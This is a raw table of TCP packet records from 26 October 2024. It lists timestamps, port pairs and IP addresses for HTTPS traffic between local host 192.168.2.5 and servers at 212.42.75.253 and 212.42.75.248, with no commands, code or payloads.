Oct 26, 2024 13:49:02.334875107 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.334909916 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.334964037 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.335068941 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.335068941 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.335104942 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.337446928 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.704046965 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.704088926 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.704142094 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.704149961 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.704222918 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.704222918 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:02.704257011 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:02.704303980 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.073615074 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.073635101 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.073662996 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.073709011 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.073739052 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.073762894 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.073766947 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.073787928 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.073813915 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.091360092 CEST	49718	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.091384888 CEST	443	49718	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.223620892 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.223668098 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.223906994 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.224425077 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.224435091 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.228097916 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.228132010 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.228220940 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.229012012 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.229022980 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.314450026 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.314488888 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.314538956 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.314901114 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.314918041 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.315612078 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.315637112 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.315686941 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.316056013 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.316071033 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.317430973 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.317450047 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.317492962 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.317755938 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.317765951 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.340874910 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.340914011 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.340966940 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.341413975 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.341428995 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.402646065 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.402684927 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:03.402740955 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.404140949 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:03.404151917 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.083734035 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.095624924 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.100122929 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.100152016 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.100460052 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.100490093 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.100521088 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.101063967 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.103101015 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.103260994 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.103496075 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.103630066 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.103744030 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.103804111 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.147332907 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.151333094 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.169712067 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.170006037 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.170039892 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.171159029 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.171221018 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.173336983 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.173479080 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.173496008 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.177742958 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.177963018 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.177973986 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.178278923 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.178488016 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.178495884 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.178992987 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.179048061 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.179491997 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.179605961 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.179759026 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.179809093 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.180331945 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.180387020 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.180653095 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.180659056 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.180728912 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.180736065 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.189861059 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.190063953 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.190082073 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.191257000 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.196032047 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.196116924 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.196464062 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.215344906 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.226443052 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.226443052 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.243331909 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.253485918 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.253561974 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.270792007 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.271071911 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.271116018 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.273511887 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.273580074 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.274087906 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.274219990 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.274650097 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.274672031 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.357507944 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.357695103 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.357772112 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.360037088 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.360188961 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.361224890 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.370465994 CEST	49737	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.370496988 CEST	443	49737	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.370745897 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.370770931 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.370866060 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.371445894 CEST	49738	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.371480942 CEST	443	49738	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.371793985 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.371819973 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.372373104 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.372385979 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.372409105 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.372571945 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.372581005 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.393896103 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.393937111 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.394035101 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.394273043 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.394287109 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.398211002 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:04.398246050 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:04.398474932 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:04.398674011 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:04.398684025 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:04.433532000 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.433568954 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.433576107 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.433676958 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.433691978 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.433756113 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.434429884 CEST	49740	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.434442997 CEST	443	49740	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.434860945 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.434887886 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.434946060 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.435458899 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.435470104 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.444221020 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.444241047 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.445312977 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.445523024 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.445534945 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.453397036 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.453402042 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.526839972 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526878119 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526885986 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526904106 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526911020 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526964903 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.526963949 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.527021885 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.528630972 CEST	49745	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.528646946 CEST	443	49745	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.529120922 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.529160976 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.529225111 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.529814005 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.529834032 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533520937 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533555031 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533567905 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533584118 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533592939 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533596039 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533621073 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.533695936 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533735037 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.533757925 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.533783913 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.550899029 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.550939083 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.550950050 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.550966024 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.550985098 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.550995111 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.551003933 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.551043987 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.551073074 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.551086903 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.551126957 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.551131964 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.551145077 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.551172972 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.551198959 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552068949 CEST	49742	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552082062 CEST	443	49742	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552580118 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552606106 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552623034 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552659035 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552692890 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552709103 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552732944 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552774906 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.552809954 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.552922010 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.553375959 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.553389072 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.599334002 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.599380970 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.599451065 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.599644899 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.599658966 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.601305008 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.601344109 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.601464987 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.601614952 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.601634026 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.639997959 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.651982069 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.651993990 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.652067900 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.652091980 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.652111053 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.652146101 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.652152061 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.652162075 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.652199984 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.669873953 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.669900894 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.669960022 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.669990063 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.670012951 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.670053005 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.768389940 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768403053 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768421888 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768429041 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768454075 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768459082 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.768471003 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.768502951 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.768536091 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.775235891 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.775245905 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.775331974 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.775363922 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.775414944 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.782160044 CEST	49741	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.782196045 CEST	443	49741	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.782437086 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.782480001 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.782783985 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.783737898 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.783751965 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.787053108 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.787085056 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.787118912 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.787146091 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.787163973 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.787185907 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.805067062 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.805092096 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.805144072 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.812036991 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.812050104 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.893404961 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.893435001 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.893562078 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.893598080 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.897459984 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.959434032 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.959464073 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.959538937 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.959563017 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:04.959589005 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:04.959605932 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.035857916 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.035887957 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.036031008 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.036053896 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.037446976 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.147968054 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.148003101 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.148046017 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.148072958 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.148087978 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.148106098 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.235477924 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.235800028 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.235830069 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.236174107 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.236495018 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.236552000 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.236660957 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.244524002 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.244560957 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.244792938 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.244815111 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.244930029 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.244951963 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.245167017 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.245263100 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.245464087 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.245517015 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.245723963 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.245774031 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.245884895 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.245943069 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.255733967 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.255776882 CEST	443	49744	212.42.75.253	192.168.2.5
